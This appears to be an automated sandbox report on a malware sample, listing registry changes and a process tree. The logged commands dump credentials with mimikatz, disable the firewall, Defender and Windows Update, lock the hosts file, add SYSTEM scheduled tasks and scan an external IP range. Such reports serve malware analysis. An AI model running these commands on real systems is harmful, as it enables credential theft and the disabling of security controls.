\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{38157B11-74BD-4C59-A8C0-F8C29E75C017} gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals flvstzhft.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\7a-3e-38-10-b1-59\WpadDetectedUrl gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" gkzutth.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 gkzutth.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 gkzutth.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2976 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 336 gkzutth.exe 3296 gkzutth.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found 468 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2504 gkzutth.exe Token: SeDebugPrivilege 2748 gkzutth.exe Token: SeDebugPrivilege 2740 vfshost.exe Token: SeAuditPrivilege 2416 svchost.exe Token: SeDebugPrivilege 2636 flvstzhft.exe Token: SeLockMemoryPrivilege 2764 tusert.exe Token: SeShutdownPrivilege 2636 flvstzhft.exe Token: SeLockMemoryPrivilege 2764 tusert.exe Token: SeDebugPrivilege 1620 flvstzhft.exe Token: SeShutdownPrivilege 1620 flvstzhft.exe Token: SeDebugPrivilege 2820 flvstzhft.exe Token: SeShutdownPrivilege 2820 flvstzhft.exe Token: SeDebugPrivilege 2656 flvstzhft.exe Token: SeShutdownPrivilege 2656 flvstzhft.exe Token: SeDebugPrivilege 1616 flvstzhft.exe Token: SeShutdownPrivilege 1616 flvstzhft.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe 2504 gkzutth.exe 2504 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2068 xohudmc.exe 2740 kkqiuy.exe 336 gkzutth.exe 336 gkzutth.exe 3296 gkzutth.exe 3296 gkzutth.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2880 wrote to memory of 2196 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe 28 PID 2880 wrote to memory of 2196 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe 28 PID 2880 wrote to memory of 2196 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe 28 PID 2880 wrote to memory of 2196 2880 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe 28 PID 2196 wrote to memory of 2976 2196 cmd.exe 30 PID 2196 wrote to memory of 2976 2196 cmd.exe 30 PID 2196 wrote to memory of 2976 2196 cmd.exe 30 PID 2196 wrote to memory of 2976 2196 cmd.exe 30 PID 2196 wrote to memory of 2504 2196 cmd.exe 31 PID 2196 wrote to memory of 2504 2196 cmd.exe 31 PID 2196 wrote to memory of 2504 2196 cmd.exe 31 PID 2196 wrote to memory of 2504 2196 cmd.exe 31 PID 2748 wrote to memory of 2524 2748 gkzutth.exe 33 PID 2748 wrote to memory of 2524 2748 gkzutth.exe 33 PID 2748 wrote to memory of 2524 2748 gkzutth.exe 33 PID 2748 wrote to memory of 2524 2748 gkzutth.exe 33 PID 2524 wrote to memory of 2400 2524 cmd.exe 35 PID 2524 wrote to memory of 2400 2524 cmd.exe 35 PID 2524 wrote to memory of 2400 2524 cmd.exe 35 PID 2524 wrote to memory of 2400 2524 cmd.exe 35 PID 2524 wrote to memory of 2828 2524 cmd.exe 36 PID 2524 wrote to memory of 2828 2524 cmd.exe 36 PID 2524 wrote to memory of 2828 2524 cmd.exe 36 PID 2524 wrote to memory of 2828 2524 cmd.exe 36 PID 2524 wrote to memory of 2564 2524 cmd.exe 37 PID 2524 wrote to memory of 2564 2524 cmd.exe 37 PID 2524 wrote to memory of 2564 2524 cmd.exe 37 PID 2524 wrote to memory of 2564 2524 cmd.exe 37 PID 2524 wrote to memory of 2812 2524 cmd.exe 38 PID 2524 wrote to memory of 2812 2524 cmd.exe 38 PID 2524 wrote to memory of 2812 2524 cmd.exe 38 PID 2524 wrote to memory of 2812 2524 cmd.exe 38 PID 2524 wrote to memory of 2956 2524 cmd.exe 39 PID 2524 wrote to memory of 2956 2524 cmd.exe 39 PID 2524 wrote to memory of 2956 2524 cmd.exe 39 PID 2524 wrote to memory of 2956 2524 cmd.exe 39 PID 2524 wrote to memory of 2532 2524 cmd.exe 40 PID 2524 wrote to memory of 2532 2524 cmd.exe 40 PID 2524 wrote to memory of 2532 2524 cmd.exe 40 PID 2524 wrote to memory of 2532 2524 cmd.exe 40 PID 2748 wrote to memory of 2408 2748 gkzutth.exe 41 PID 2748 wrote to memory of 2408 2748 gkzutth.exe 41 PID 2748 wrote to memory of 2408 2748 gkzutth.exe 41 PID 2748 wrote to memory of 2408 2748 gkzutth.exe 41 PID 2748 wrote to memory of 2908 2748 gkzutth.exe 43 PID 2748 wrote to memory of 2908 2748 gkzutth.exe 43 PID 2748 wrote to memory of 2908 2748 gkzutth.exe 43 PID 2748 wrote to memory of 2908 2748 gkzutth.exe 43 PID 2748 wrote to memory of 2028 2748 gkzutth.exe 45 PID 2748 wrote to memory of 2028 2748 gkzutth.exe 45 PID 2748 wrote to memory of 2028 2748 gkzutth.exe 45 PID 2748 wrote to memory of 2028 2748 gkzutth.exe 45 PID 2748 wrote to memory of 2796 2748 gkzutth.exe 47 PID 2748 wrote to memory of 2796 2748 gkzutth.exe 47 PID 2748 wrote to memory of 2796 2748 gkzutth.exe 47 PID 2748 wrote to memory of 2796 2748 gkzutth.exe 47 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 2796 wrote to memory of 1916 2796 cmd.exe 49 PID 1916 wrote to memory of 1360 1916 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:272
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C:\Windows\TEMP\riuvilefa\tusert.exe"C:\Windows\TEMP\riuvilefa\tusert.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2764
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C:\Users\Admin\AppData\Local\Temp\2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\isugpkis\gkzutth.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2976
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C:\Windows\isugpkis\gkzutth.exeC:\Windows\isugpkis\gkzutth.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2504
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C:\Windows\isugpkis\gkzutth.exeC:\Windows\isugpkis\gkzutth.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2400
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2828
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2564
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2812
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2956
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2532
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2408
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:2908
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:2028
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\ptescsiac\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\tjbrgizie\ptescsiac\wpcap.exeC:\Windows\tjbrgizie\ptescsiac\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1360
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2120
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:2380
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:528
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:772
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:308
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2596
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1184
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1532
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2280
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1228
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3064
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2856
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1880
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tjbrgizie\ptescsiac\Scant.txt2⤵
- Loads dropped DLL
PID:3048 -
C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exeC:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tjbrgizie\ptescsiac\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:540
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tjbrgizie\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1276 -
C:\Windows\tjbrgizie\Corporate\vfshost.exeC:\Windows\tjbrgizie\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2740
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "esugmiafu" /ru system /tr "cmd /c C:\Windows\ime\gkzutth.exe"2⤵PID:1652
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2940
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "esugmiafu" /ru system /tr "cmd /c C:\Windows\ime\gkzutth.exe"3⤵
- Creates scheduled task(s)
PID:2848
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pkcbprhtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F"2⤵PID:992
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1608
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "pkcbprhtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2896
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "letzemreu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F"2⤵PID:2240
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2060
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "letzemreu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:368
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:612
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:1732
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2148
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2504
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2832
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2392
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2412
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2908
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C:\Windows\TEMP\tjbrgizie\flvstzhft.exeC:\Windows\TEMP\tjbrgizie\flvstzhft.exe -accepteula -mp 272 C:\Windows\TEMP\tjbrgizie\272.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:536
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:988
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1460
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2596
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:2944
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:2280
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:1532
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:2952
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1228
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2072
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:2996
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:1520
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:540
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2008
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2268
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:2292
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:2928
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:1892
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:1144
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:1904
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C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:1200
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C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:1292
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C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:3052
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1564
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C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:636
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:1780
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C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:1308
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:788
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C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2068
